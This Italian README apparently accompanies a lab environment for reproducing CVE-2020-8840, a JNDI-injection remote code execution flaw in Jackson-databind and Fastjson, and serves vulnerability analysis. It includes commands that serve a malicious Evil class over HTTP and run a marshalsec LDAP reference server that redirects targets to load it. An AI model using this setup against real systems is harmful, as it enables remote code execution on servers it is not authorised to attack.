
Codice dell'ambiente di riproduzione per l'analisi della vulnerabilità di esecuzione remota di codice in Jackson-databind (CVE-2020-8840)
Codice dell'ambiente di riproduzione per l'analisi della vulnerabilità di esecuzione remota di codice Jackson-databind (CVE-2020-8840).
Il progetto include:
jackson-databind e Fastjsonmarshalsec-0.0.3-SNAPSHOT-all.jar già compilatoLa vulnerabilità di esecuzione remota di codice Jackson-databind (CVE-2020-8840) consente a un attaccante di sfruttare la catena di utilizzo di xbean-reflect (org.apache.xbean.propertyeditor.JndiConverter) per attivare il caricamento remoto delle classi JNDI e ottenere l'esecuzione remota di codice.
Questa vulnerabilità colpisce anche alcune versioni di jackson-databind e Fastjson.
Versioni interessate: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

Il servizio LDAP indicato nel codice di esempio deve essere configurato manualmente.
WebServer
Avvia un servizio HTTP per ospitare la classe malevola (la classe Evil.java è inclusa nel progetto).
python -m http.server 2222

Servizio LDAP
Scarica lo strumento Marshalsec, compilalo in un jar, avvia il servizio LDAP e imposta l'indirizzo codebase (il WebServer che ospita la classe malevola).
Per comodità, evitando le operazioni di download e compilazione, nel progetto è incluso marshalsec-0.0.3-SNAPSHOT-all.jar (il codice del progetto è minimo, questa è la ragione principale della sua grande dimensione), compilato con JDK8.
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

Versioni interessate: Fastjson <= 1.2.62
L'ambiente di riproduzione è lo stesso descritto sopra; configura e avvia manualmente il WebServer e il servizio LDAP.
